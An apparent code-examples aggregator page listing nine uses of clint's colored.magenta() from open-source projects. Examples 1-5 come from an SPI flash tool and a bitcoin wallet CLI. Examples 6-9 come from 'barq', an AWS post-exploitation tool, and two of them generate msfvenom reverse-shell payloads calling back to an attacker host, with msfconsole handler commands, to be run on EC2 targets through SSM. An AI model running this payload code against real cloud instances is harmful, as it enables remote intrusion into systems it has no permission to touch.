Python clint.textui.colored.magenta() Examples

The following are 9 code examples of clint.textui.colored.magenta(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module clint.textui.colored , or try the search function .
Example #1
Source File: spi_flash_programmer_client.py    From spi-flash-programmer with Creative Commons Zero v1.0 Universal 5 votes vote down vote up
def logDebug(text, type):
    if type == DEBUG_NORMAL:
        puts(colored.cyan(text))
    else:  # DEBUG_VERBOSE
        puts(colored.magenta(text)) 
Example #2
Source File: cl_utils.py    From bcwallet with Apache License 2.0 5 votes vote down vote up
def print_bcwallet_basic_pub_opening(mpub):
    puts("You've opened your HD wallet in PRIVATE key mode, so you CAN sign transactions.")
    puts("If you like, you can always open your HD wallet in PUBLIC key mode like this:\n")
    with indent(2):
        puts(colored.magenta('$ bcwallet --wallet=%s\n' % mpub)) 
Example #3
Source File: cl_utils.py    From bcwallet with Apache License 2.0 5 votes vote down vote up
def print_bcwallet_basic_priv_opening(priv_to_display):
    with indent(4):
        puts(colored.magenta('$ bcwallet --wallet=%s\n' % priv_to_display)) 
Example #4
Source File: cl_utils.py    From bcwallet with Apache License 2.0 5 votes vote down vote up
def print_bcwallet_piped_priv_opening(priv_to_display):
    with indent(4):
        puts(colored.magenta('$ echo %s | bcwallet\n' % priv_to_display)) 
Example #5
Source File: cl_utils.py    From bcwallet with Apache License 2.0 5 votes vote down vote up
def print_bcwallet_piped_priv_cat_opening():
    with indent(4):
        puts(colored.magenta('$ cat wallet_seed.txt | bcwallet\n')) 
Example #6
Source File: barq.py    From barq with MIT License 5 votes vote down vote up
def get_security_groups(caller):
    """
    List security groups discovered.
    :param caller: calling menu to return to.
    :return: None
    """
    global secgroups
    try:
        puts(color(
            '[*] Your collected security groups, if you want an updated list, invoke attacksurface:'))
        for group in secgroups['groups']:
            puts(colored.green("Group ID: %s" % group.get('id', '')))
            puts(colored.green("Group description: %s" %
                               group.get('description', '')))
            puts(colored.green('Group Ingress IP permissions:'))
            for p in group['ip_permissions']:
                ranges = ''
                for iprange in p.get('ranges', []):
                    ranges = ranges + '%s,' % iprange['CidrIp']
                if len(ranges) > 1 and ranges[-1] == ',':
                    ranges = ranges[:-1]
                puts(colored.green('From Port: %s, To Port: %s, Protocol: %s, IP Ranges: %s' % (
                    p.get('fromport', 'Any'), p.get('toport', 'Any'), p.get('protocol', 'All'), ranges)))

            puts(colored.green('Group Egress IP permissions:'))
            for p in group['ip_permissions_egress']:
                ranges = ''
                for iprange in p.get('ranges', []):
                    ranges = ranges + '%s,' % iprange['CidrIp']
                if len(ranges) > 1 and ranges[-1] == ',':
                    ranges = ranges[:-1]
                puts(colored.green('From Port: %s, To Port: %s, Protocol: %s, IP Ranges: %s' % (
                    p.get('fromport', 'Any'), p.get('toport', 'Any'), p.get('protocol', 'All'), ranges)))

            puts(colored.magenta('======================================='))

    except Exception as e:
        print(e)
        puts(color(
            '[!] You have no stored security groups. Run the command attacksurface to discover them'))
    go_to_menu(caller) 
Example #7
Source File: barq.py    From barq with MIT License 5 votes vote down vote up
def check_command_invocations(caller):
    """
    Check stored results of previously executed attacks on EC2 instances.
    :param caller: calling menu
    :return: None
    """
    global command_invocations
    if len(command_invocations['commands']) < 1:
        puts(color(
            '[!] You don\'t have any commands run yet against EC2 targets. Run ec2attacks to launch commands.'))
        go_to_menu(caller)

    for command in command_invocations['commands']:
        puts(colored.green('command id: %s' % command.get('id')))
        puts(colored.green('command instance id: %s' % command.get('instanceid')))
        puts(colored.green('command state: %s' % command.get('state')))
        puts(colored.green('command platform: %s' % command.get('platform')))
        puts(colored.green('command region: %s' % command.get('region')))
        try:
            puts(colored.green('command error: %s' %
                               command.get('error', 'No errors')[0:5000]))
        except:
            pass
        try:
            puts(colored.green('command output: %s' %
                               command.get('output', 'No output')[0:5000]))
        except:
            pass

        puts(colored.magenta('=======================================')) 
Example #8
Source File: barq.py    From barq with MIT License 4 votes vote down vote up
def metasploit_installed_multiple_options(linux, windows):
    """
    Prompts for metasploit  options against a range of EC2 instances depending on their OS.
    :param linux: Whether or not there are any targeted instances running Linux.
    :param windows: Whether or not there are any targeted instances running Windows.
    :return: Tuple of metasploit payloads for linux and windows.
    """
    puts(color(
        '[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))
    linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
    linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
    linux_tcp_shell = 'python/shell_reverse_tcp'
    windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
    windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
    windows_tcp_shell = 'windows/x64/shell/reverse_tcp'
    linuxattack = ''
    windowsattack = ''

    #remote_ip_host = prompt.query('Your remote IP or hostname to connect back to:')
    #remote_port = prompt.query("Your remote port number:", default="4444")

    if linux:

        linux_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
                         {'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
                             'return': linux_https_meterpreterx64},
                         {'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
        linuxpayload = prompt.options(
            'Payload for Linux EC2 instances:', linux_options)
        host = prompt.query('Your remote IP or hostname to connect back to:')
        port = prompt.query(
            "Your remote port number (Listener ports should be different for linux and windows):", default="4444")
        linuxmsfshell = 'msfvenom -a python --platform python -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
            linuxpayload, host, port)
        puts(color(
            '[*] Run the following command on your remote listening server to run the linux payload handler:'))
        msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
            host, port, linuxpayload)
        puts(colored.magenta(msfconsole_cmd))
        linuxattack = os.popen(linuxmsfshell).read()
        linuxattack = "python -c \"%s\"" % linuxattack
    if windows:
        windows_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64},
                           {'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64',
                               'return': windows_https_meterpreterx64},
                           {'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]
        windowspayload = prompt.options(
            'Payload for Windows EC2 instances:', windows_options)
        host = prompt.query('Your remote IP or hostname to connect back to:')
        port = prompt.query(
            "Your remote port number (Listener ports should be different for linux and windows):", default="5555")
        windowsmsfshell = 'msfvenom -a x64 --platform Windows -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
            windowspayload, host, port)
        puts(color(
            '[*] Run the following command on your remote listening server to run the windows payload handler:'))
        msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
            host, port, windowspayload)
        puts(colored.magenta(msfconsole_cmd))
        windowsattack = os.popen(windowsmsfshell).read()

    return linuxattack, windowsattack 
Example #9
Source File: barq.py    From barq with MIT License 4 votes vote down vote up
def metasploit_installed_options(host, port, OS):
    """
    Prompts for metasploit options against an EC2 instance depending on its OS.
    :param host: IP or hostname of the listening server running metasploit exploit handler.
    :param port: The port the exploit handler is listening on.
    :param OS: The OS of the target instance
    :return: Tuple of reverse shell payloads for linux and windows.
    """
    puts(color(
        '[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))

    # output = os.popen("msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh --smallest").read()`

    linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
    linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
    linux_tcp_shell = 'python/shell_reverse_tcp'
    windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
    windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
    windows_tcp_shell = 'windows/x64/shell/reverse_tcp'

    if OS == 'linux':
        action = 'AWS-RunShellScript'
        shell_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
                         {'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
                             'return': linux_https_meterpreterx64},
                         {'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
    else:
        action = 'AWS-RunPowerShellScript'
        shell_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64}, {'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64', 'return': windows_https_meterpreterx64},
                         {'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]

    payload = prompt.options('Payload:', shell_options)
    if OS == 'linux':
        msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
            payload, host, port)
    else:
        msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
            payload, host, port)

    puts(color(
        '[*] Run the following command on your reverse server running the handler:'))
    msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
        host, port, payload)
    puts(colored.magenta(msfconsole_cmd))

    shellcode = os.popen(msfshell).read()
    if OS == 'linux':
        shellcode = "python -c \"%s\"" % shellcode

    return shellcode, action